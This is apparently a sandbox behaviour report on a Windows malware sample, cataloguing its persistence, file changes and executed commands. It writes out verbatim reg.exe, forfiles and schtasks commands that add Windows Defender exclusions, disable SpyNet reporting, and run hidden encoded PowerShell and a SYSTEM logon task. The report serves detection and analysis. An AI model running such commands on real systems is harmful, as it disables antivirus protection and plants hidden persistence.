Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- <SYSTEM32>\tasks\glswjwnje
- %WINDIR%\tasks\bpncxwibxlaqmzjcmh.job
- <SYSTEM32>\tasks\bpncxwibxlaqmzjcmh
- <SYSTEM32>\tasks\gtxtgtywk
Malicious functions
To complicate detection of its presence in the operating system,
blocks execution of the following system utilities:
- Windows Defender
adds antivirus exclusion with following registry keys:
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions] 'exe' = '0'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%TEMP%\TsOiuljOdHcGiAqIs' = '00000000'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ALLUSERSPROFILE%\ItJGIzOAkbJoeOVB' = '00000000'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles%\pKCWQWMgZhUn' = '00000000'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles%\EspcGTJrbeFU2' = '00000000'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles%\KXINCRpFeavuC' = '00000000'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles%\EHkYLhEnSSQuaYqJBgR' = '00000000'
- [HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%TEMP%\TsOiuljOdHcGiAqIs' = '00000000'
- [HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%LOCALAPPDATA%\Google\Chrome\User Data\Default\Extensions' = '00000000'
- [HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%ALLUSERSPROFILE%\ItJGIzOAkbJoeOVB' = '00000000'
- [HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles%\RNxxYSRTU' = '00000000'
- [HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles%\pKCWQWMgZhUn' = '00000000'
- [HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles%\KXINCRpFeavuC' = '00000000'
- [HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles%\EspcGTJrbeFU2' = '00000000'
- [HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles%\EHkYLhEnSSQuaYqJBgR' = '00000000'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\Temp\dyTJbqyBDofQrwBz' = '00000000'
- [HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\Temp\dyTJbqyBDofQrwBz' = '00000000'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\Temp\dyTJbqyBDofQrwBz' = '0'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%TEMP%\TsOiuljOdHcGiAqIs' = '0'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%LOCALAPPDATA%\Google\Chrome\User Data\Default\Extensions' = '0'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ALLUSERSPROFILE%\ItJGIzOAkbJoeOVB' = '0'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles%\pKCWQWMgZhUn' = '0'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles%\RNxxYSRTU' = '0'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles%\KXINCRpFeavuC' = '0'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles%\EspcGTJrbeFU2' = '0'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles%\EHkYLhEnSSQuaYqJBgR' = '0'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles%\RNxxYSRTU' = '00000000'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%LOCALAPPDATA%\Google\Chrome\User Data\Default\Extensions' = '00000000'
Modifies file system
Creates the following files
- %TEMP%\7zs90d9.tmp\install.exe
- <SYSTEM32>\grouppolicy\gpt.ini
- %HOMEPATH%\ntuser.pol
- %ALLUSERSPROFILE%\ntuser.pol
- %TEMP%\tsoiuljodhcgiaqis\pssnjsvozmoxxuc\svjvhit.exe
- %ALLUSERSPROFILE%\microsoft\crypto\rsa\s-1-5-18\d42cc0c3858a58db2db37658219e6400_4a72a1ba-696c-49a2-a676-ca089a899998
- <SYSTEM32>\grouppolicy\machine\registry.pol
- %WINDIR%\temp\dytjbqybdofqrwbz\eatrnpph\cnlqagtncuxahtwl.wsf
- %WINDIR%\temp\dytjbqybdofqrwbz\kgrfdbocvbqutni\gjtmwri.exe
Sets the 'hidden' attribute to the following files
- %HOMEPATH%\tempntuser.pol
- %ALLUSERSPROFILE%\tempntuser.pol
Deletes the following files
- <SYSTEM32>\tasks\glswjwnje
- %HOMEPATH%\tempntuser.pol
- %ALLUSERSPROFILE%\tempntuser.pol
- <SYSTEM32>\tasks\gtxtgtywk
- %WINDIR%\temp\dytjbqybdofqrwbz\eatrnpph\cnlqagtncuxahtwl.wsf
- %WINDIR%\tasks\bpncxwibxlaqmzjcmh.job
- <SYSTEM32>\tasks\bpncxwibxlaqmzjcmh
Moves the following files
- from %HOMEPATH%\ntuser.pol to %HOMEPATH%\tempntuser.pol
- from %ALLUSERSPROFILE%\ntuser.pol to %ALLUSERSPROFILE%\tempntuser.pol
Substitutes the following files
- %HOMEPATH%\ntuser.pol
- %ALLUSERSPROFILE%\ntuser.pol
Miscellaneous
Creates and executes the following
- '%TEMP%\7zs90d9.tmp\install.exe' /zYyWdiddIaHz "525403" /S
- '%TEMP%\tsoiuljodhcgiaqis\pssnjsvozmoxxuc\svjvhit.exe' oM /wvsite_idxsD 525403 /S
- '<SYSTEM32>\wscript.exe' "%WINDIR%\Temp\dyTJbqyBDofQrwBz\eAtrNppH\cnlqAgtnCuxAhtWL.wsf"
- '%WINDIR%\temp\dytjbqybdofqrwbz\kgrfdbocvbqutni\gjtmwri.exe' lr /BLsite_idGEz 525403 /S
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==' (with hidden window)
- '<SYSTEM32>\gpupdate.exe' /force' (with hidden window)
- '%TEMP%\tsoiuljodhcgiaqis\pssnjsvozmoxxuc\svjvhit.exe' oM /wvsite_idxsD 525403 /S' (with hidden window)
- '%WINDIR%\temp\dytjbqybdofqrwbz\kgrfdbocvbqutni\gjtmwri.exe' lr /BLsite_idGEz 525403 /S' (with hidden window)
Executes the following
- '<SYSTEM32>\forfiles.exe' /p <SYSTEM32> /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0&"
- '<SYSTEM32>\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles%\KXINCRpFeavuC" /t REG_DWORD /d 0
- '<SYSTEM32>\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles%\RNxxYSRTU" /t REG_DWORD /d 0
- '<SYSTEM32>\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles%\pKCWQWMgZhUn" /t REG_DWORD /d 0
- '<SYSTEM32>\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ALLUSERSPROFILE%\ItJGIzOAkbJoeOVB" /t REG_DWORD /d 0
- '<SYSTEM32>\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0
- '<SYSTEM32>\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%TEMP%\TsOiuljOdHcGiAqIs" /t REG_DWORD /d 0
- '<SYSTEM32>\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles%\EHkYLhEnSSQuaYqJBgR" /t REG_DWORD /d 0
- '<SYSTEM32>\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles%\EspcGTJrbeFU2" /t REG_DWORD /d 0
- '<SYSTEM32>\gpscript.exe' /RefreshSystemParam
- '<SYSTEM32>\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles%\KXINCRpFeavuC" /t REG_DWORD /d 0
- '<SYSTEM32>\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles%\pKCWQWMgZhUn" /t REG_DWORD /d 0
- '<SYSTEM32>\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ALLUSERSPROFILE%\ItJGIzOAkbJoeOVB" /t REG_DWORD /d 0
- '<SYSTEM32>\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0
- '<SYSTEM32>\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%TEMP%\TsOiuljOdHcGiAqIs" /t REG_DWORD /d 0
- '<SYSTEM32>\schtasks.exe' /CREATE /TN "ZhVkmIWvxXKhhCyEn" /SC once /ST 09:38:29 /RU "SYSTEM" /TR "\"%WINDIR%\Temp\dyTJbqyBDofQrwBz\KGRfDbOcVBQUTnI\gjtmwRi.exe\" lr /BLsite_idGEz 525403 /S" /V1 /F
- '<SYSTEM32>\schtasks.exe' /run /I /tn "ZhVkmIWvxXKhhCyEn"
- '<SYSTEM32>\schtasks.exe' /DELETE /F /TN "bPNcxwiBxLaqMzJCMh"
- '<SYSTEM32>\cmd.exe' /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f
- '<SYSTEM32>\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles%\EHkYLhEnSSQuaYqJBgR" /t REG_DWORD /d 0
- '<SYSTEM32>\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles%\EspcGTJrbeFU2" /t REG_DWORD /d 0
- '<SYSTEM32>\cmd.exe' /C copy nul "%WINDIR%\Temp\dyTJbqyBDofQrwBz\eAtrNppH\cnlqAgtnCuxAhtWL.wsf"
- '<SYSTEM32>\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%WINDIR%\Temp\dyTJbqyBDofQrwBz" /t REG_DWORD /d 0
- '<SYSTEM32>\cmd.exe' /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%WINDIR%\Temp\dyTJbqyBDofQrwBz" /t REG_DWORD /d 0
- '<SYSTEM32>\cmd.exe' REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0&
- '<SYSTEM32>\cmd.exe' REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0&
- '<SYSTEM32>\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0
- '<SYSTEM32>\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0
- '<SYSTEM32>\schtasks.exe' /CREATE /TN "gLSWJwNjE" /SC once /ST 07:33:17 /F /RU "user" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZ...
- '<SYSTEM32>\schtasks.exe' /run /I /tn "gLSWJwNjE"
- '<SYSTEM32>\taskeng.exe' {D5A9ECEB-D84B-4181-A018-BF5E7D022E8D} S-1-5-21-1864035604-3554178654-4081431624-1000:dszyyz\user:Interactive:[1]
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
- '<SYSTEM32>\reg.exe' DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f
- '<SYSTEM32>\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles%\RNxxYSRTU" /t REG_DWORD /d 0
- '<SYSTEM32>\gpupdate.exe' /force
- '<SYSTEM32>\schtasks.exe' /DELETE /F /TN "gLSWJwNjE"
- '<SYSTEM32>\schtasks.exe' /CREATE /TN "bPNcxwiBxLaqMzJCMh" /SC once /ST 10:25:00 /RU "SYSTEM" /TR "\"%TEMP%\TsOiuljOdHcGiAqIs\PSSnJsvozmoXXUc\sVjVHiT.exe\" oM /wvsite_idxsD 525403 /S" /V1 /F
- '<SYSTEM32>\raserver.exe' /offerraupdate
- '<SYSTEM32>\schtasks.exe' /CREATE /TN "gtxtgtywK" /SC once /ST 04:19:18 /F /RU "user" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZ...
- '<SYSTEM32>\schtasks.exe' /run /I /tn "gtxtgtywK"
- '<SYSTEM32>\schtasks.exe' /DELETE /F /TN "gtxtgtywK"
- '<SYSTEM32>\cmd.exe' /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%WINDIR%\Temp\dyTJbqyBDofQrwBz" /t REG_DWORD /d 0
- '<SYSTEM32>\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%WINDIR%\Temp\dyTJbqyBDofQrwBz" /t REG_DWORD /d 0
- '<SYSTEM32>\forfiles.exe' /p <SYSTEM32> /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0&"
- '<SYSTEM32>\svchost.exe' -k secsvcs
- '<SYSTEM32>\schtasks.exe' /CREATE /TR "rundll32 \"%ProgramFiles%\RNxxYSRTU\rcIAfx.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "hDIshfTvIPmFyXc" /V1 /F
